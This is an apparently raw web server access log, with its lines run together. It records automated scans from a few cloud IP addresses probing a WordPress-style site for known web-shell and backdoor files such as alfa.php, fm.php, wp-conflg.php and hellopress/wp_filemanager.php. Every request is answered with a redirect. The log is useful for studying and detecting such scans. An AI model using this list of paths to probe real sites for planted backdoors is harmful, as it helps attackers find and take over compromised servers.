[04/Apr/2026:15:52:41 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:02 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:17 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:54 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:55 +0300] "GET /assets/css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:11 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:24 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:25 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:27 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:37 +0300] "GET /inwp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:57 +0300] "GET /inwp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:59 +0300] "GET /X7T6.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:00 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:00 +0300] "GET /Rk41.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:45 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:47 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:49 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:55 +0300] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:57 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:59 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:59 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:40 +0300] "GET /wp-admin/includes/install.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:20 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:24 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:22 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:24 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:33 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:40 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:48 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:13 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:20 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:22 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:32 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:34 +0300] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:45 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:54 +0300] "GET /js/style.php HTTP/1.1" 301 795 "-" "-" 176.88.166.163 - - [04/Apr/2026:15:02:43 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.151.229.110 - - [04/Apr/2026:15:49:35 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:50:51 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:16 +0300] "GET /7logs.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:17 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:17 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:19 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:47 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:51 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:57 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:22 +0300] "GET /wp-tem.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:59 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:13 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:22 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:46 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:59 +0300] "GET /Rk41.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:17 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:00 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:02 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:03 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:38 +0300] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:39 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:39 +0300] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:40 +0300] "GET /wp-admin/includes/install.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:14 +0300] "GET /index/lock.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:45 +0300] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:25 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:46 +0300] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:55 +0300] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:52 +0300] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:52 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:58 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:25 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:28 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:31 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:33 +0300] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:48 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:01:54 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:01:56 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:01:57 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:43 +0300] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:39 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:40 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:50 +0300] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:50 +0300] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:00 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:12 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:18 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:22 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:23 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:32 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:32 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:46 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:46 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:46 +0300] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:14 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:46 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:49 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:51 +0300] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:16 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:16 +0300] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 143.198.19.143 - - [04/Apr/2026:16:01:27 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://mail.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.151.229.110 - - [04/Apr/2026:16:01:36 +0300] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:36 +0300] "GET /images/cjfuns.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:01:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:37 +0300] "GET /js/style.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:37 +0300] "GET /wp-mail.php/wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:01:39 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:43 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:43 +0300] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:44 +0300] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:46 +0300] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:52 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:57 +0300] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:02:12 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:13 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:02:24 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:28 +0300] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:10 +0300] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:25 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:56 +0300] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:57 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:58 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:01 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:09 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:17 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:53 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:13 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:26 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:26 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:28 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:28 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:29 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:30 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:32 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:33 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:54 +0300] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:57 +0300] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:59 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:05 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:17 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:40 +0300] "GET /images/cjfuns.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:49 +0300] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:59 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:24 +0300] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:35 +0300] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:50 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:55 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:55 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:58 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:03:02 +0300] "GET /admin/function.php/install.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:03:14 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:04:09 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:12 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:13 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:14 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:14 +0300] "GET /7logs.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:15 +0300] "GET /css/xp.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:15 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:47 +0300] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:54 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:56 +0300] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:08 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:08 +0300] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:08 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:15 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:24 +0300] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:26 +0300] "GET /images/cjfuns.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:41 +0300] "GET /images/cjfuns.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:41 +0300] "GET /js/style.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:41 +0300] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:42 +0300] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:43 +0300] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:45 +0300] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:46 +0300] "GET /wp-mail.php/wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:59 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:07 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:46 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:53 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:54 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:56 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:57 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:03:21 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:03:24 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:03:24 +0300] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:03:27 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:03:28 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:03:30 +0300] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:03:34 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:03:38 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:04:26 +0300] "GET /link.php/wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:03 +0300] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:04 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:04 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:04 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:05 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:05 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:05 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:06 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:06 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:07 +0300] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:07 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:08 +0300] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:08 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:08 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:09 +0300] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:09 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:10 +0300] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:10 +0300] "GET /images/cjfuns.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:11 +0300] "GET /js/style.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:11 +0300] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:11 +0300] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:11 +0300] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:06:12 +0300] "GET /wp-mail.php/wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:24 +0300] "GET /images/cjfuns.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:33 +0300] "GET /js/style.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:35 +0300] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:01:46 +0300] "GET /wp-mail.php/wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:02 +0300] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:05 +0300] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:10 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:10 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:11 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:21 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:31 +0300] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:04:01 +0300] "GET /admin.php/wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [04/Apr/2026:16:06:50 +0300] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:02:41 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:43 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:43 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:44 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:44 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:45 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "-" 20.104.201.101 - - [04/Apr/2026:16:04:45 +0300] "GET 